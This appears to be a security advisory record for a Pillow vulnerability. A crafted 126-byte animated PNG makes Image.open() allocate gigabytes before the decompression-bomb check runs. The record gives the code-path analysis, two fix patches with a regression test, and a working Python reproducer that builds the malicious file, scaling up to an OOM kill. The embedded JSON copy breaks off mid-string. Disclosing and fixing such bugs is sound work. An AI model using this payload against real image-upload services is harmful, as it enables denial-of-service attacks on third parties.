BREW-AIDER-CVE-2026-112399 (GHSA-5XM2-6676-QCP9)

Vulnerability from osv_homebrew – Published: 2026-10-22 09:13 – Updated: 2026-10-22 09:13 – Source website
VLAI
Summary
Pillow: APNG background disposal allocates full canvas before decompression bomb check
Details
============================================================================
APNG background disposal allocates full canvas before decompression bomb check
Location: src/PIL/PngImagePlugin.py:1000  in PngImageFile._seek()
Commit:   a707c6b21c313880d0771e54965d142dd42358b6
============================================================================

A 126-byte animated PNG file makes Pillow's Image.open() allocate and fill memory sized by the image dimensions the file claims, before Pillow's built-in check for oversized images runs. A file claiming 22000×22000 pixels costs about 1.9 GB. Anyone who can get an application to open an image they supply, with default settings and no further calls such as load(), can cause a multi-gigabyte memory spike per file. If the claimed size exceeds the machine's free memory, the operating system kills the process outright.

The bug is in PngImageFile._seek() in src/PIL/PngImagePlugin.py (around line 1000). For any APNG, _open() calls self._seek(0). When the first fcTL chunk requests OP_BACKGROUND disposal, _seek() calls Image.core.fill(self.mode, self.size) with the full IHDR size, which allocates and zero-fills width×height×4 bytes. OP_PREVIOUS takes the same path, because frame 0 rewrites it to OP_BACKGROUND. This all happens inside the plugin factory, so Image.open()'s _decompression_bomb_check(im.size) only runs after the memory has been touched. A 1×1 frame rectangle passes the only checks on the way.

Below available memory, the allocation is freed when DecompressionBombError propagates, so sustained pressure needs repeated or concurrent uploads. A 45000×45000 header gets the process killed by the out-of-memory killer on an 8 GB host. The attached reproducer opens two such files that differ in one byte (dispose_op 0 vs 1). Both end in DecompressionBombError, but peak resident memory is 17 MB for the first and 1864 MB for the second. The eager fill was introduced in 5e4e0fa6ee67 ("Use disposal settings from previous frame", December 2020) and first shipped in 8.1.0. Two candidate patches with a regression test are attached.

Details

For an APNG whose first fcTL chunk requests OP_BACKGROUND disposal, PngImageFile._open() creates and zero-fills a core image of the full IHDR-declared size. This happens inside the plugin factory, i.e. before Image.open() gets to _decompression_bomb_check(im.size), so the check that is meant to reject oversized headers without allocating anything runs only after the allocation has been made and touched.

The following 126-byte file (all chunk lengths and CRCs valid) makes Image.open(io.BytesIO(data)), with default MAX_IMAGE_PIXELS and no load(), reach 1.86 GB resident (ru_maxrss) and then raise DecompressionBombError. The byte-identical file with dispose_op=0 raises the same error at 17 MB.

IHDR  width=22000 height=22000 bit_depth=8 colour_type=6 (RGBA)
acTL  num_frames=2 num_plays=0
fcTL  seq=0 w=1 h=1 x=0 y=0 delay=1/10 dispose_op=1 (OP_BACKGROUND) blend_op=0
IDAT  zlib(00 00 00 00 00)                      # one 1x1 RGBA scanline
IEND

With width=height=45000 (8.1 GB canvas) the same call attempts the full allocation: under a 4 GiB RLIMIT_AS it fails with MemoryError from the allocator instead of DecompressionBombError; without a cap, on an 8 GB host with no swap, the process is OOM-killed.

Code path

Image.open() runs the bomb check only after the plugin's constructor (and therefore _open()) has returned:

# src/PIL/Image.py:3699-3701
                    im = factory(fp, filename)
                    _decompression_bomb_check(im.size)
                    return im

For a plain PNG that ordering is fine: PngImageFile._open() only parses chunks up to the first IDAT and records self._size from IHDR; nothing is allocated from it. For an APNG (acTL seen, so im_n_frames is set) _open() additionally positions on frame 0:

# src/PIL/PngImagePlugin.py:845-853
        if self.png.im_n_frames is not None:
            …
            self._seek(0)

_seek(0) copies disposal and bbox from the fcTL chunk into self.dispose_op / self.dispose_extent and then prepares the disposal image for the next frame eagerly, using the full image size:

# src/PIL/PngImagePlugin.py:991-1001
        if self._prev_im is None and self.dispose_op == Disposal.OP_PREVIOUS:
            self.dispose_op = Disposal.OP_BACKGROUND

        self.dispose = None
        if self.dispose_op == Disposal.OP_PREVIOUS:
            …
        elif self.dispose_op == Disposal.OP_BACKGROUND:
            self.dispose = Image.core.fill(self.mode, self.size)
            self.dispose = self._crop(self.dispose, self.dispose_extent)

Image.core.fill is _fill() in src/_imaging.c:711, which does ImagingNewDirty(mode, xsize, ysize) followed by ImagingFill(); ImagingFill (src/libImaging/Fill.c:23) writes every row, so the whole width*height*4 bytes become resident rather than merely reserved. self.size here is the IHDR size (22000×22000), not the 1×1 frame rectangle. The _crop on the next line does call _decompression_bomb_check, but on the fcTL rectangle (1×1) and only after the fill has completed. Lines 991-992 rewrite OP_PREVIOUS to OP_BACKGROUND on frame 0, so dispose_op=2 takes the same path (verified: identical 1.86 GB peak). When the first fcTL rectangle is large, the _crop copy is a second extent-sized buffer on top of the full-canvas fill, so the transient peak can reach about twice the canvas: a 13000×13000 full-frame fcTL (below the error threshold, so Image.open() succeeds with only a DecompressionBombWarning) peaks at 1.31 GB for a 0.66 GB canvas.

The only validation chunk_fcTL applies (src/PIL/PngImagePlugin.py:740-745) is that the frame rectangle fits inside the IHDR size, which a 1×1 frame always does; IHDR width/height themselves are unconstrained 32-bit values at this point. Control then returns to _open_core, _decompression_bomb_check((22000, 22000)) raises, and the 1.9 GB core image is released when the half-constructed PngImageFile is discarded.

The eager full-size fill in _seek() was introduced in 5e4e0fa6ee67 ("Use disposal settings from previous frame", 2020-12-24) and first shipped in 8.1.0; before it, the OP_BACKGROUND fill lived in load_end() and could not be reached from Image.open().

Impact

Any application that calls Image.open() on untrusted bytes with default settings — the configuration in which the decompression-bomb check is supposed to make that call cheap and safe — can be made to allocate and write an attacker-chosen amount of memory from a ~126-byte PNG upload, before any error is reported and without load(), frame iteration, or LOAD_TRUNCATED_IMAGES. The amount is set directly by the IHDR width/height (4 bytes per pixel for colour type 6): values below the host's free memory cause a transient multi-GB spike per request (≈15,000,000× amplification at 22000×22000) that is freed when the exception propagates, so concurrent or repeated uploads are needed to sustain pressure; values above it get the worker process OOM-killed outright. PNG is accepted by essentially every upload pipeline, and the file passes _accept and chunk CRC checks as a well-formed APNG.

This is the same class as the recent bomb-check additions for WMF (load at a different DPI), FITS, GIF and FontFile — an allocation sized from file-declared numbers on a path _decompression_bomb_check does not cover — but here the uncovered path is Image.open() itself rather than a later load()/seek().

Reproducing

repro is a single Python script (no build step, no companion files). It builds two PNGs in memory, opens each one with plain Image.open(io.BytesIO(data)) in a fresh child interpreter using default settings and no load(), and has each child report the exception it got and its own peak RSS (ru_maxrss). It needs about 2 GB of free RAM and finishes in about a second.

The two files are 126 bytes each and differ in exactly one byte, the dispose_op of the first fcTL chunk: 0 (OP_NONE) for the control and 1 (OP_BACKGROUND) for the attack. Both declare IHDR 22000×22000 RGBA. That is 484 Mpixel, above the 2×MAX_IMAGE_PIXELS error threshold, so Image.open() has to reject both with DecompressionBombError. Each chunk has a job:

  • The acTL chunk (2 frames) makes _open() call _seek(0).
  • The 1×1 fcTL rectangle passes chunk_fcTL's bounds check and _crop's bomb check.
  • The one-scanline IDAT ends header parsing.

Expected output on this tree:

126-byte APNG declaring 22000x22000 RGBA; Image.open(BytesIO(data)), defaults
  control  dispose_op=0 OP_NONE        -> DecompressionBombError peak RSS    17 MB
  attack   dispose_op=1 OP_BACKGROUND  -> DecompressionBombError peak RSS  1864 MB
Image.open() touched a full 22000x22000 canvas before the bomb check ran
BUG

Both files are rejected, but the control is rejected at interpreter size. The attack file only reaches the bomb check after Image.core.fill("RGBA", (22000, 22000)) has allocated and zero-filled about 1.9 GB. The script prints BUG if the attack child's peak RSS is at least 1000 MB and at least 20× the control's, or if the attack child is killed by SIGKILL (for example by the OOM killer on a small host). Otherwise it prints OK; any other non-zero child exit is treated as a harness failure, printed with the child's output, and also ends in OK. With either attached patch applied, both children report about 17–22 MB and the script prints OK.

The allocation grows with the header, so it can be scaled by changing SIZE in the script. The 45000×45000 case (an 8.1 GB canvas) is covered in Details and is not part of the script.

Suggested fix

Do not build the OP_BACKGROUND disposal image from the declared size during _open(). Two alternative patches are attached; both change only src/PIL/PngImagePlugin.py, and both add the same regression test to Tests/test_file_apng.py (a 2³¹−1 × 1 APNG built in memory with a 1×1 OP_BACKGROUND first frame must make Image.open() raise DecompressionBombError; on the current tree the fill fails first with MemoryError). Attached patch 1 is the preferred fix.

Attached patch 1 moves the fill to its only point of use, the frame > 0 branch of _seek() right after self.load() — which can only run once Image.open() has returned (bomb check passed) and the canvas itself has been allocated — and, as GifImagePlugin already does, fills only the previous frame's dispose extent instead of a full canvas that is then cropped:

--- a/src/PIL/PngImagePlugin.py
+++ b/src/PIL/PngImagePlugin.py
@@ -931,6 +931,13 @@ class PngImageFile(ImageFile.ImageFile):
             # ensure previous frame was loaded
             self.load()

+            if self.dispose_op == Disposal.OP_BACKGROUND:
+                # Created here rather than in the previous _seek(), so that
+                # nothing is allocated from the declared image size before
+                # the decompression bomb check in Image.open() has run.
+                # Only dispose the extent of the previous frame.
+                x0, y0, x1, y1 = self.dispose_extent
+                self.dispose = Image.core.fill(self.mode, (x1 - x0, y1 - y0))
             if self.dispose:
                 self.im.paste(self.dispose, self.dispose_extent)
             self._prev_im = self.im.copy()
@@ -996,9 +1003,6 @@ class PngImageFile(ImageFile.ImageFile):
             if self._prev_im:
                 self.dispose = self._prev_im.copy()
                 self.dispose = self._crop(self.dispose, self.dispose_extent)
-        elif self.dispose_op == Disposal.OP_BACKGROUND:
-            self.dispose = Image.core.fill(self.mode, self.size)
-            self.dispose = self._crop(self.dispose, self.dispose_extent)

At that point self.dispose_op and self.dispose_extent still hold the previous frame's values (they are reassigned further down in _seek), so disposal semantics are unchanged; the OP_PREVIOUS copy stays eager because load_end() pastes into _prev_im in place (src/PIL/PngImagePlugin.py:1110). With this patch Image.open() allocates nothing from the declared size, including in the DecompressionBombWarning range.

Attached patch 2 is a smaller diff that keeps the eager disposal setup in _seek() and mirrors GifImagePlugin._seek()'s OP_BACKGROUND handling exactly: it computes the size of the fcTL rectangle (already validated by chunk_fcTL to lie within the image), runs Image._decompression_bomb_check() on it, and fills an image of only that size instead of filling self.size and cropping. It also narrows the dispose_extent annotation to tuple[int, int, int, int] so the bomb-check call type-checks. The trade-off is that a full-canvas first frame still allocates a bomb-checked image inside Image.open() — up to about 2×MAX_IMAGE_PIXELS×4 bytes (660 MB for a 13000×13000 full-frame fcTL, with DecompressionBombWarning) — and a first fcTL covering a canvas above the error threshold now raises DecompressionBombError from _seek(0) rather than from Image.open()'s own check.

With either patch applied to a clean checkout, the reproducer prints OK and all 54 files in Tests/images/apng/ decode byte-identically frame by frame, including after a rewind.

The patch (1 of 2)

Create the APNG OP_BACKGROUND disposal image when the next frame is sought, sized to the frame extent, not in _open() from the IHDR size

Applies to src/PIL/PngImagePlugin.py at the commit above.

diff --git a/Tests/test_file_apng.py b/Tests/test_file_apng.py
index 15689476c..6e61c8b4b 100644
--- a/Tests/test_file_apng.py
+++ b/Tests/test_file_apng.py
@@ -161,6 +161,37 @@ def test_apng_dispose_op_background_p_mode() -> None:
         assert im.size == (128, 64)


+def test_apng_dispose_op_background_decompression_bomb() -> None:
+    # The disposal image must not be created from the declared image size
+    # before the decompression bomb check in Image.open() has run.
+    # A canvas this wide cannot be allocated, so if it is attempted,
+    # a MemoryError is raised instead of a DecompressionBombError.
+    o16 = PngImagePlugin.o16
+    o32 = PngImagePlugin.o32
+
+    b = BytesIO()
+    b.write(PngImagePlugin._MAGIC)
+    PngImagePlugin.putchunk(b, b"IHDR", o32(2**31 - 1), o32(1), b"\x08\x06\x00\x00\x00")
+    PngImagePlugin.putchunk(b, b"acTL", o32(2), o32(0))
+    PngImagePlugin.putchunk(
+        b,
+        b"fcTL",
+        o32(0),  # sequence number
+        o32(1),  # width
+        o32(1),  # height
+        o32(0),  # x offset
+        o32(0),  # y offset
+        o16(1),  # delay numerator
+        o16(10),  # delay denominator
+        bytes([PngImagePlugin.Disposal.OP_BACKGROUND, PngImagePlugin.Blend.OP_SOURCE]),
+    )
+    PngImagePlugin.putchunk(b, b"IDAT")
+    PngImagePlugin.putchunk(b, b"IEND")
+
+    with pytest.raises(Image.DecompressionBombError):
+        Image.open(b)
+
+
 def test_apng_blend() -> None:
     with Image.open("Tests/images/apng/blend_op_source_solid.png") as im:
         assert isinstance(im, PngImagePlugin.PngImageFile)
diff --git a/src/PIL/PngImagePlugin.py b/src/PIL/PngImagePlugin.py
index 0eb2fd5e4..24fa587c1 100644
--- a/src/PIL/PngImagePlugin.py
+++ b/src/PIL/PngImagePlugin.py
@@ -931,6 +931,13 @@ class PngImageFile(ImageFile.ImageFile):
             # ensure previous frame was loaded
             self.load()

+            if self.dispose_op == Disposal.OP_BACKGROUND:
+                # Created here rather than in the previous _seek(), so that
+                # nothing is allocated from the declared image size before
+                # the decompression bomb check in Image.open() has run.
+                # Only dispose the extent of the previous frame.
+                x0, y0, x1, y1 = self.dispose_extent
+                self.dispose = Image.core.fill(self.mode, (x1 - x0, y1 - y0))
             if self.dispose:
                 self.im.paste(self.dispose, self.dispose_extent)
             self._prev_im = self.im.copy()
@@ -996,9 +1003,6 @@ class PngImageFile(ImageFile.ImageFile):
             if self._prev_im:
                 self.dispose = self._prev_im.copy()
                 self.dispose = self._crop(self.dispose, self.dispose_extent)
-        elif self.dispose_op == Disposal.OP_BACKGROUND:
-            self.dispose = Image.core.fill(self.mode, self.size)
-            self.dispose = self._crop(self.dispose, self.dispose_extent)

     def tell(self) -> int:
         return self.__frame

The patch (2 of 2)

Bomb-check and fill only the fcTL extent for APNG OP_BACKGROUND disposal instead of a full IHDR-sized canvas in PngImageFile._seek()

Applies to src/PIL/PngImagePlugin.py at the commit above.

diff --git a/Tests/test_file_apng.py b/Tests/test_file_apng.py
index 15689476c..6e61c8b4b 100644
--- a/Tests/test_file_apng.py
+++ b/Tests/test_file_apng.py
@@ -161,6 +161,37 @@ def test_apng_dispose_op_background_p_mode() -> None:
         assert im.size == (128, 64)


+def test_apng_dispose_op_background_decompression_bomb() -> None:
+    # The disposal image must not be created from the declared image size
+    # before the decompression bomb check in Image.open() has run.
+    # A canvas this wide cannot be allocated, so if it is attempted,
+    # a MemoryError is raised instead of a DecompressionBombError.
+    o16 = PngImagePlugin.o16
+    o32 = PngImagePlugin.o32
+
+    b = BytesIO()
+    b.write(PngImagePlugin._MAGIC)
+    PngImagePlugin.putchunk(b, b"IHDR", o32(2**31 - 1), o32(1), b"\x08\x06\x00\x00\x00")
+    PngImagePlugin.putchunk(b, b"acTL", o32(2), o32(0))
+    PngImagePlugin.putchunk(
+        b,
+        b"fcTL",
+        o32(0),  # sequence number
+        o32(1),  # width
+        o32(1),  # height
+        o32(0),  # x offset
+        o32(0),  # y offset
+        o16(1),  # delay numerator
+        o16(10),  # delay denominator
+        bytes([PngImagePlugin.Disposal.OP_BACKGROUND, PngImagePlugin.Blend.OP_SOURCE]),
+    )
+    PngImagePlugin.putchunk(b, b"IDAT")
+    PngImagePlugin.putchunk(b, b"IEND")
+
+    with pytest.raises(Image.DecompressionBombError):
+        Image.open(b)
+
+
 def test_apng_blend() -> None:
     with Image.open("Tests/images/apng/blend_op_source_solid.png") as im:
         assert isinstance(im, PngImagePlugin.PngImageFile)
diff --git a/src/PIL/PngImagePlugin.py b/src/PIL/PngImagePlugin.py
index 0eb2fd5e4..0111a17d7 100644
--- a/src/PIL/PngImagePlugin.py
+++ b/src/PIL/PngImagePlugin.py
@@ -985,7 +985,7 @@ class PngImageFile(ImageFile.ImageFile):
                 msg = "image not found in APNG frame"
                 raise EOFError(msg)
         if dispose_extent:
-            self.dispose_extent: tuple[float, float, float, float] = dispose_extent
+            self.dispose_extent: tuple[int, int, int, int] = dispose_extent

         # setup frame disposal (actual disposal done when needed in the next _seek())
         if self._prev_im is None and self.dispose_op == Disposal.OP_PREVIOUS:
@@ -997,8 +997,14 @@ class PngImageFile(ImageFile.ImageFile):
                 self.dispose = self._prev_im.copy()
                 self.dispose = self._crop(self.dispose, self.dispose_extent)
         elif self.dispose_op == Disposal.OP_BACKGROUND:
-            self.dispose = Image.core.fill(self.mode, self.size)
-            self.dispose = self._crop(self.dispose, self.dispose_extent)
+            # only dispose the extent in this frame, rather than filling an
+            # image of the declared size before Image.open() has been able to
+            # run the decompression bomb check
+            x0, y0, x1, y1 = self.dispose_extent
+            dispose_size = (x1 - x0, y1 - y0)
+
+            Image._decompression_bomb_check(dispose_size)
+            self.dispose = Image.core.fill(self.mode, dispose_size)

     def tell(self) -> int:
         return self.__frame

The reproducer

Reproducer — repro, 3,564 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.
#!/usr/bin/env python3
"""
Image.open() on a 126-byte APNG allocates and zero-fills a full canvas of the
header-declared size *before* Pillow's decompression-bomb check rejects it.

We build two PNGs that are identical except for one byte, the first fcTL
chunk's dispose_op:

    control: dispose_op = 0  (OP_NONE)
    attack:  dispose_op = 1  (OP_BACKGROUND)

Both declare 22000x22000 RGBA (484 Mpixel, above the 2 * MAX_IMAGE_PIXELS
error threshold), so Image.open() must reject both with DecompressionBombError
-- and that check exists precisely so the rejection is cheap. For the attack
file, PngImageFile._open() -> _seek(0) first runs
Image.core.fill(mode, (22000, 22000)), touching ~1.9 GB, and only then is the
bomb check reached.

Each file is opened in a fresh interpreter that reports its own peak RSS.
"""
import struct
import subprocess
import sys
import zlib

SIZE = 22000  # 22000 * 22000 * 4 bytes = 1.94 GB canvas


def chunk(cid, data):
    crc = zlib.crc32(cid + data)
    return struct.pack(">I", len(data)) + cid + data + struct.pack(">I", crc)


def build_apng(dispose_op):
    ihdr = struct.pack(">IIBBBBB", SIZE, SIZE, 8, 6, 0, 0, 0)  # 8-bit RGBA
    actl = struct.pack(">II", 2, 0)  # animated: 2 frames -> _open() calls _seek(0)
    # frame 0: seq 0, a 1x1 rectangle at (0,0) (passes fcTL's bounds check),
    # delay 1/10 s, the dispose_op under test, blend_op 0
    fctl = struct.pack(">IIIIIHHBB", 0, 1, 1, 0, 0, 1, 10, dispose_op, 0)
    idat = zlib.compress(b"\x00" + b"\x00\x00\x00\x00")  # one 1x1 RGBA scanline
    return (b"\x89PNG\r\n\x1a\n" + chunk(b"IHDR", ihdr) + chunk(b"acTL", actl)
            + chunk(b"fcTL", fctl) + chunk(b"IDAT", idat) + chunk(b"IEND", b""))


# What an application does with an untrusted upload: Image.open() with default
# settings, no load(). Prints the outcome and this process's peak RSS in MB.
OPEN_UNTRUSTED = """
import io, resource, sys
from PIL import Image
try:
    Image.open(io.BytesIO(sys.stdin.buffer.read()))
    outcome = "opened"
except Exception as e:
    outcome = type(e).__name__
print(outcome, resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024)
"""


def open_in_child(data):
    p = subprocess.run([sys.executable, "-c", OPEN_UNTRUSTED], input=data,
                       capture_output=True, timeout=60)
    if p.returncode == -9:  # SIGKILL: OOM-killed on a small host -- also the bug
        return "oom-killed(rc=-9)", None
    if p.returncode != 0:  # anything else is a harness failure, not evidence
        print(p.stdout.decode(), p.stderr.decode(), sep="\n")
        print("child failed unexpectedly (rc=%d)" % p.returncode)
        print("OK")
        sys.exit(1)
    outcome, peak_mb = p.stdout.split()
    return outcome.decode(), int(peak_mb)


control = build_apng(dispose_op=0)
attack = build_apng(dispose_op=1)

c_outcome, c_mb = open_in_child(control)
a_outcome, a_mb = open_in_child(attack)

print("%d-byte APNG declaring %dx%d RGBA; Image.open(BytesIO(data)), defaults"
      % (len(attack), SIZE, SIZE))
print("  control  dispose_op=0 OP_NONE        -> %-22s peak RSS %5s MB" % (c_outcome, c_mb))
print("  attack   dispose_op=1 OP_BACKGROUND  -> %-22s peak RSS %5s MB" % (a_outcome, a_mb))

# Expected: both rejected at roughly interpreter size. Bug: the attack file
# made the "cheap" rejection cost a full-size canvas (or killed the process).
if a_mb is None or (a_mb >= 1000 and a_mb >= 20 * c_mb):
    print("Image.open() touched a full %dx%d canvas before the bomb check ran"
          % (SIZE, SIZE))
    print("BUG")
else:
    print("OK")


{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": null,
        "range_state": "affected",
        "resource": "pillow",
        "resource_purl": "pkg:pypi/pillow@12.1.1",
        "upstream_fixed_in": "13.0.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "aider",
        "purl": "pkg:brew/aider"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.86.1_1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/pillow@12.1.1",
        "name": "pillow",
        "resource": "pillow",
        "strategy": "registry",
        "subject_version": "12.1.1"
      }
    ]
  },
  "details": "```\n============================================================================\nAPNG background disposal allocates full canvas before decompression bomb check\nLocation: src/PIL/PngImagePlugin.py:1000  in PngImageFile._seek()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA 126-byte animated PNG file makes Pillow\u0027s `Image.open()` allocate and fill memory sized by the image dimensions the file claims, before Pillow\u0027s built-in check for oversized images runs. A file claiming 22000\u00d722000 pixels costs about 1.9 GB. Anyone who can get an application to open an image they supply, with default settings and no further calls such as `load()`, can cause a multi-gigabyte memory spike per file. If the claimed size exceeds the machine\u0027s free memory, the operating system kills the process outright.\n\nThe bug is in `PngImageFile._seek()` in `src/PIL/PngImagePlugin.py` (around line 1000). For any APNG, `_open()` calls `self._seek(0)`. When the first `fcTL` chunk requests `OP_BACKGROUND` disposal, `_seek()` calls `Image.core.fill(self.mode, self.size)` with the full IHDR size, which allocates and zero-fills width\u00d7height\u00d74 bytes. `OP_PREVIOUS` takes the same path, because frame 0 rewrites it to `OP_BACKGROUND`. This all happens inside the plugin factory, so `Image.open()`\u0027s `_decompression_bomb_check(im.size)` only runs after the memory has been touched. A 1\u00d71 frame rectangle passes the only checks on the way.\n\nBelow available memory, the allocation is freed when `DecompressionBombError` propagates, so sustained pressure needs repeated or concurrent uploads. A 45000\u00d745000 header gets the process killed by the out-of-memory killer on an 8 GB host. The attached reproducer opens two such files that differ in one byte (`dispose_op` 0 vs 1). Both end in `DecompressionBombError`, but peak resident memory is 17 MB for the first and 1864 MB for the second. The eager fill was introduced in 5e4e0fa6ee67 (\"Use disposal settings from previous frame\", December 2020) and first shipped in 8.1.0. Two candidate patches with a regression test are attached.\n\n## Details\n\nFor an APNG whose first `fcTL` chunk requests `OP_BACKGROUND` disposal, `PngImageFile._open()` creates and zero-fills a core image of the full IHDR-declared size. This happens inside the plugin factory, i.e. before `Image.open()` gets to `_decompression_bomb_check(im.size)`, so the check that is meant to reject oversized headers without allocating anything runs only after the allocation has been made and touched.\n\nThe following 126-byte file (all chunk lengths and CRCs valid) makes `Image.open(io.BytesIO(data))`, with default `MAX_IMAGE_PIXELS` and no `load()`, reach 1.86 GB resident (`ru_maxrss`) and then raise `DecompressionBombError`. The byte-identical file with `dispose_op=0` raises the same error at 17 MB.\n\n```\nIHDR  width=22000 height=22000 bit_depth=8 colour_type=6 (RGBA)\nacTL  num_frames=2 num_plays=0\nfcTL  seq=0 w=1 h=1 x=0 y=0 delay=1/10 dispose_op=1 (OP_BACKGROUND) blend_op=0\nIDAT  zlib(00 00 00 00 00)                      # one 1x1 RGBA scanline\nIEND\n```\n\nWith `width=height=45000` (8.1 GB canvas) the same call attempts the full allocation: under a 4 GiB `RLIMIT_AS` it fails with `MemoryError` from the allocator instead of `DecompressionBombError`; without a cap, on an 8 GB host with no swap, the process is OOM-killed.\n\n### Code path\n\n`Image.open()` runs the bomb check only after the plugin\u0027s constructor (and therefore `_open()`) has returned:\n\n```python\n# src/PIL/Image.py:3699-3701\n                    im = factory(fp, filename)\n                    _decompression_bomb_check(im.size)\n                    return im\n```\n\nFor a plain PNG that ordering is fine: `PngImageFile._open()` only parses chunks up to the first `IDAT` and records `self._size` from `IHDR`; nothing is allocated from it. For an APNG (`acTL` seen, so `im_n_frames` is set) `_open()` additionally positions on frame 0:\n\n```python\n# src/PIL/PngImagePlugin.py:845-853\n        if self.png.im_n_frames is not None:\n            \u2026\n            self._seek(0)\n```\n\n`_seek(0)` copies `disposal` and `bbox` from the `fcTL` chunk into `self.dispose_op` / `self.dispose_extent` and then prepares the disposal image for the *next* frame eagerly, using the full image size:\n\n```python\n# src/PIL/PngImagePlugin.py:991-1001\n        if self._prev_im is None and self.dispose_op == Disposal.OP_PREVIOUS:\n            self.dispose_op = Disposal.OP_BACKGROUND\n\n        self.dispose = None\n        if self.dispose_op == Disposal.OP_PREVIOUS:\n            \u2026\n        elif self.dispose_op == Disposal.OP_BACKGROUND:\n            self.dispose = Image.core.fill(self.mode, self.size)\n            self.dispose = self._crop(self.dispose, self.dispose_extent)\n```\n\n`Image.core.fill` is `_fill()` in `src/_imaging.c:711`, which does `ImagingNewDirty(mode, xsize, ysize)` followed by `ImagingFill()`; `ImagingFill` (`src/libImaging/Fill.c:23`) writes every row, so the whole `width*height*4` bytes become resident rather than merely reserved. `self.size` here is the IHDR size (22000\u00d722000), not the 1\u00d71 frame rectangle. The `_crop` on the next line does call `_decompression_bomb_check`, but on the `fcTL` rectangle (1\u00d71) and only after the fill has completed. Lines 991-992 rewrite `OP_PREVIOUS` to `OP_BACKGROUND` on frame 0, so `dispose_op=2` takes the same path (verified: identical 1.86 GB peak). When the first `fcTL` rectangle is large, the `_crop` copy is a second extent-sized buffer on top of the full-canvas fill, so the transient peak can reach about twice the canvas: a 13000\u00d713000 full-frame `fcTL` (below the error threshold, so `Image.open()` succeeds with only a `DecompressionBombWarning`) peaks at 1.31 GB for a 0.66 GB canvas.\n\nThe only validation `chunk_fcTL` applies (`src/PIL/PngImagePlugin.py:740-745`) is that the frame rectangle fits inside the IHDR size, which a 1\u00d71 frame always does; IHDR width/height themselves are unconstrained 32-bit values at this point. Control then returns to `_open_core`, `_decompression_bomb_check((22000, 22000))` raises, and the 1.9 GB core image is released when the half-constructed `PngImageFile` is discarded.\n\nThe eager full-size fill in `_seek()` was introduced in `5e4e0fa6ee67` (\"Use disposal settings from previous frame\", 2020-12-24) and first shipped in 8.1.0; before it, the `OP_BACKGROUND` fill lived in `load_end()` and could not be reached from `Image.open()`.\n\n## Impact\n\nAny application that calls `Image.open()` on untrusted bytes with default settings \u2014 the configuration in which the decompression-bomb check is supposed to make that call cheap and safe \u2014 can be made to allocate and write an attacker-chosen amount of memory from a ~126-byte PNG upload, before any error is reported and without `load()`, frame iteration, or `LOAD_TRUNCATED_IMAGES`. The amount is set directly by the IHDR width/height (4 bytes per pixel for colour type 6): values below the host\u0027s free memory cause a transient multi-GB spike per request (\u224815,000,000\u00d7 amplification at 22000\u00d722000) that is freed when the exception propagates, so concurrent or repeated uploads are needed to sustain pressure; values above it get the worker process OOM-killed outright. PNG is accepted by essentially every upload pipeline, and the file passes `_accept` and chunk CRC checks as a well-formed APNG.\n\nThis is the same class as the recent bomb-check additions for WMF (load at a different DPI), FITS, GIF and FontFile \u2014 an allocation sized from file-declared numbers on a path `_decompression_bomb_check` does not cover \u2014 but here the uncovered path is `Image.open()` itself rather than a later `load()`/`seek()`.\n\n## Reproducing\n\n`repro` is a single Python script (no build step, no companion files). It builds two PNGs in memory, opens each one with plain `Image.open(io.BytesIO(data))` in a fresh child interpreter using default settings and no `load()`, and has each child report the exception it got and its own peak RSS (`ru_maxrss`). It needs about 2 GB of free RAM and finishes in about a second.\n\nThe two files are 126 bytes each and differ in exactly one byte, the `dispose_op` of the first `fcTL` chunk: `0` (`OP_NONE`) for the control and `1` (`OP_BACKGROUND`) for the attack. Both declare IHDR 22000\u00d722000 RGBA. That is 484 Mpixel, above the 2\u00d7`MAX_IMAGE_PIXELS` error threshold, so `Image.open()` has to reject both with `DecompressionBombError`. Each chunk has a job:\n\n- The `acTL` chunk (2 frames) makes `_open()` call `_seek(0)`.\n- The 1\u00d71 `fcTL` rectangle passes `chunk_fcTL`\u0027s bounds check and `_crop`\u0027s bomb check.\n- The one-scanline `IDAT` ends header parsing.\n\nExpected output on this tree:\n\n```\n126-byte APNG declaring 22000x22000 RGBA; Image.open(BytesIO(data)), defaults\n  control  dispose_op=0 OP_NONE        -\u003e DecompressionBombError peak RSS    17 MB\n  attack   dispose_op=1 OP_BACKGROUND  -\u003e DecompressionBombError peak RSS  1864 MB\nImage.open() touched a full 22000x22000 canvas before the bomb check ran\nBUG\n```\n\nBoth files are rejected, but the control is rejected at interpreter size. The attack file only reaches the bomb check after `Image.core.fill(\"RGBA\", (22000, 22000))` has allocated and zero-filled about 1.9 GB. The script prints `BUG` if the attack child\u0027s peak RSS is at least 1000 MB and at least 20\u00d7 the control\u0027s, or if the attack child is killed by `SIGKILL` (for example by the OOM killer on a small host). Otherwise it prints `OK`; any other non-zero child exit is treated as a harness failure, printed with the child\u0027s output, and also ends in `OK`. With either attached patch applied, both children report about 17\u201322 MB and the script prints `OK`.\n\nThe allocation grows with the header, so it can be scaled by changing `SIZE` in the script. The 45000\u00d745000 case (an 8.1 GB canvas) is covered in Details and is not part of the script.\n\n## Suggested fix\n\nDo not build the `OP_BACKGROUND` disposal image from the declared size during `_open()`. Two alternative patches are attached; both change only `src/PIL/PngImagePlugin.py`, and both add the same regression test to `Tests/test_file_apng.py` (a 2\u00b3\u00b9\u22121 \u00d7 1 APNG built in memory with a 1\u00d71 `OP_BACKGROUND` first frame must make `Image.open()` raise `DecompressionBombError`; on the current tree the fill fails first with `MemoryError`). Attached patch 1 is the preferred fix.\n\n**Attached patch 1** moves the fill to its only point of use, the `frame \u003e 0` branch of `_seek()` right after `self.load()` \u2014 which can only run once `Image.open()` has returned (bomb check passed) and the canvas itself has been allocated \u2014 and, as `GifImagePlugin` already does, fills only the previous frame\u0027s dispose extent instead of a full canvas that is then cropped:\n\n```diff\n--- a/src/PIL/PngImagePlugin.py\n+++ b/src/PIL/PngImagePlugin.py\n@@ -931,6 +931,13 @@ class PngImageFile(ImageFile.ImageFile):\n             # ensure previous frame was loaded\n             self.load()\n \n+            if self.dispose_op == 